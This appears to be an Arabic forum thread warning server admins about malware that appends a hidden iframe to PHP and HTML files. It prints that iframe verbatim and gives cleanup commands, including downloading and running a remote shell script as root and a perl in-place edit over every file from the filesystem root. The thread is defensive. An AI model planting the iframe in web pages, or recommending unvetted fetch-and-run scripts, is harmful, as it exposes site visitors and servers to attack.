فيروس خطير ينتشر على سيرفرات اللينكس و اليونكس

[prokhaled]

السلام عليكم

انتشر فى الاسبوع الاخير فيروس يصيب الملفات من النوع
php
HTML
و غيرها من ملفات الويب المعروفة .. الفيروس يقوم بإضافة كود HTML فى نهاية هذه الملفات الكود المضاف هو
<IFRAME name='StatPage' src='http://www.norton-kaspersky.ru/new/traff.php' width=5 height=5 style='display:none'></IFRAME>

للتأكد من وجود الفيروس على سيرفرك اتبع الاتى من خلال الروت اعطى الامر التالى بإستخدام الشل
find /home -name '*.*' -print | xargs grep 'norton-kaspersky' /dev/null

سوف يعطى لك الامر السابق تقرير بالملفات المصابة فى هذه الحالة يجب التخلص من الفيروس من كل الملفات المصابة فى السيرفر كاملا لعمل ذلك اعطى الامر التالى
cd ..
ثم نفذ الاوامر
wget http://www.cairohost.com/scan/scan.sh
sh scan.sh

برمجة /
خالد ممدوح
http://vbzoom.com

[موقع روش]

جزاك الله خيرا على نشر الحمايه مجانا

[Bo3oof]

أخي ممكن تضع لنا ملف الشل هذا على شكل تكست فايل ؟
أو تضع كود الشل هنا على الصفحة كي نعرف ماذا يصنع بالضبط وكيف استطعت التخلص من هذا "الفيروس الخطير" ؟

[ssamri.net]

أخي ممكن تضع لنا ملف الشل هذا على شكل تكست فايل ؟
أو تضع كود الشل هنا على الصفحة كي نعرف ماذا يصنع بالضبط وكيف استطعت التخلص من هذا "الفيروس الخطير" ؟

نعم أخوى خالد لو تكرمت وتضع لنا الملف .

[موقع روش]

انا سالت خالد
قال تتبع الفيرس لغايه لما عرف طريقته وعمل حمايه ضده
ووضعه للتحميل

[Zhra]

كيف التخلص من الفايرس
للأستضافة اتي ما عندها خاصية شل

[prokhaled]

اخى يجب على صاحب السيرفر التخلص من الفيروس بنفسه لان الفيروس يصيب معظم ملفات السيرفر على المسارات
/etc
/usr
/home

و يجب التخلص من الفيروس من على السيرفر ككل حتى لا يعود مرة اخرى


بخصوص المود الذى قوم بحذف الفيروس فهذه هى محتويات الملف
echo "############### ar4host.com ##################
############### cairohost.com ##################
############### scaning ..... ##################"
cd /
find . -name "*.*" | xargs perl -pi -w -e "s/<IFRAME name='StatPage' src='http:\/\/www.norton-kaspersky.ru\/new\/traff.php' width=5 height=5 style='display:none'><\/IFRAME>/ /g;"

الكود يبحث فى كل الملفات عن الفيروس و يعمل استبدال للكود بلا شىء

[Fi®e W@ll]

http://www.swalif.net/softs/swalif-1498752-3.html